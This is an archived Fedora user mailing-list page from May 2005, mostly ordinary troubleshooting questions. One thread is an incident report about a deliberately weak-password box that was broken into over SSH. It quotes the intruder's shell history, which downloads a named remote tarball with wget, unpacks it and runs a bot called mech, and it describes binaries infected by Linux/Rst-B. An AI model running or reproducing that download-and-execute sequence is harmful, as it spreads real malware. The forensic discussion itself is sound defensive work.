Looking for a good music editor software.
by Kyle Lagonegro (Student-Lagone37) 13 May '05

13 May '05

Is there any good music editor software, maybe that also has some sounds and stuff you can put in, much like Frooty Loops for Windows? Just wondering what the good ones are before I start downloading. I'm hoping to find one for free, as I just want to play around with it. Thanks.

10 May '05

Hi, I need to resize my monitor resolution to make the icons appear small. In the "preference" >> "screen resolution" I can only see 800 X 600 with 60 Hz. The other one is with 640 X 480 which is even worst. Can anyone help me with this. Thanks

Fedora Core brevity vs server upgrades
by rado 10 May '05

10 May '05

hi y'all Oh I know some people might say you have no business running servers on Fedora because the Cores are so short lived and yes, it's not an ideal position but sometimes you have to just grin and bear it. ...hard to beat for the money huh? Well, I would like some views on this, if you just want to say don't run fc then please just don't respond k? What we have here is a new core coming out bout every six months and then probably a year and it's in legacy. This seems to be the pattern. Now then you experienced hands w/this have seen what happens as soon as it is released from testing. I have not that much experience there. I saw remarks by Alexander Dalloz and others whom I respect all greatly. They seemed to instill in me that just because the core is released does not mean that there are above avg problems w/it right then. The main public (not just the testers) get a hold of it and bugzilla gets it's share of activity. Given all this, when you think is ideal time to upgrade??? Do it right away...wait a couple months...when??? I don't have a bench test machine anymore...and I have 3 fedora boxes 2 servers synced together backing each others availability, and another box also running fc3 that mainly holds backups for the 3 fedora boxes and 2 windows and also will be the box I want to settle in as my pc, for doing dev. work and what not. thx for listening john rose

Sound controls
by cas 07 May '05

07 May '05

Hi. I am new to fedora core 3. (previously used mandrake). Everything installs and appears to run ok except for the sound. I have an internal via soundcard. Using gnome xmms comes up with an exception saying that audio cannot be initialized. Games such as maelstrom and tuxracer have good sound. Xmms will work if you run it as root but then the games get no sound at all. Using KDE xmms works fine but sound from the games is laggy and crackling. This happens whether or not other programs are active. The soundcard detects and plays the test sound ok. If anyone can provide advice as to what is causing the problem it would be appreciated.

OO Object Bar - FC2
by Jonathan Allen 06 May '05

06 May '05

Hi All, I'm having trouble with the Open Office Writer Object bar. I went for the bullet-list button but clicked something, and the object bar disappeared. If I click View->Toolbars and click Object Bar, instead of replacing the object bar at the top of the window, it insists upon opening a new window with the bar in. I have tried closing and re-opening all the other bars and they seem to come and go correctly around the document window, but I can't seem to find anything that will fix the Object Bar. Any ideas ?

Ext3-FS error in FC2 and 3
by John Trump 04 May '05

04 May '05

Not sure if this email is actually making it ot the list my apologies if this shows up several times. I have two dell 2650's, 3 disk raid 5. Both servers on a frequent basis gives the following error, only method to get the server back is to power cycle it. Any suggestions as to what the cause of the error is: Ext3-FS error (device:sda2) in start_transaction journal has stopped According to the raid card the raid5 volume is optimal.

Re: brute force ssh attack

>Were there any interesting files in the users' home directories? (Look for >hidden files too, of course -- maybe a hidden directory named ... or >something.) Also check in /tmp and /var. And any luck with the >.bash_history? (For both the users and for root....) This is ~daikanyama/.bash_history passwd ls w wget www.ring.as.ro/x/qwe.tgz tar zxvf qwe.tgz rm -rf qwe.tgz cd .undernet ./mech ./mech ./mech ./mech There is a complex directory tree under ~daikanyama/.undernet There are no interesting files under ~kevin. Kevin had tcsh as login shell. Using ps aux, I have seen that kevin used ftp, and kevin also used passwd. One of the users compiled something, I have seen that they utilized "make". Kevin installed some program psybnc under /var/tmp There is nothing interesting in /tmp and /root (root has tcsh as login shell). -- +++ Sparen beginnt mit GMX DSL: http://www.gmx.net/de/go/dsl

ethernet not working
by Michael Hennebry 03 May '05

03 May '05

I had updated from RH9 to FC3. Some things, a2ps among them, didn't seem right, so I decided to do a a from-scratch install using the same disks I used for the update. Ethernet no longer works. /dev/eth0 isn't even there. I thought I'd seen a red FAILED message whiz by with something like ethernet in it. I'm at a loss. Even if I find the corresponding log message, I expect it wouldn't tell me how to fix it. How-tos rarely tell how to fix something after one thinks he did it right, but it still doesn't work. Can anyone point me to one that does? -- Mike hennebry(a)web.cs.ndsu.NoDak.edu "I AM DEATH, NOT TAXES. *I* ONLY TURN UP ONCE." -- Death

brute force ssh attack
by Daniel Kirsten 03 May '05

03 May '05

Hallo, there are numerous brute force ssh attacks in the web. I was quite curious, and for fun, I created the typical user accounts and set easy to guess passwords.... Yesterday, such a ssh login was successful for users kevin and daikanyama. The hackers changed the passwords for both logins. They installed a certain program "undernet" as daikanyama and started a program called mech. After some minutes, I removed the network cable, killed all the processes of the users and disabled these users. Then, I figured out that some programs as grep did not work. I rebooted the machine, but during the reboot I got various "segmentation faults", "illegal instructions", .... I booted from an FC3 rescue CD, and I found out that various executables in /bin and /user/bin where manipulated (grep, egrep, gzip, rpm, mount, ...). I replaced these manipulated executlables by original files, but I forgot to replace gtbl. Then, the machine booted correctly. Later when gtbl was called, some executables in /bin and /user/bin where manipulated. It seems to be some virus, when you start a manipulated executable it manipulates other executables. I managed to replace all manipulated files and the machine seems to work correctly. My question is: They did not guess the root password, how did they manipulate files which are only writable by root??? Is anyone interested in log-files or in the programs which the hackers installed under daikanyama? Best regards, Daniel -- +++ Sparen beginnt mit GMX DSL: http://www.gmx.net/de/go/dsl

>Daniel -- did you happen to run any of the commands in the compromised user >account as root? Yesterday, I examined the directory ~daikanyama/.undernet and probably I executed mech as root. The file mech is indeed infected by Linux/Rst-B. This explains everything....... Does anyone know whether .undernet/mech has another purpose than distributing the Linux/Rst-B virus??? -- +++ Sparen beginnt mit GMX DSL: http://www.gmx.net/de/go/dsl
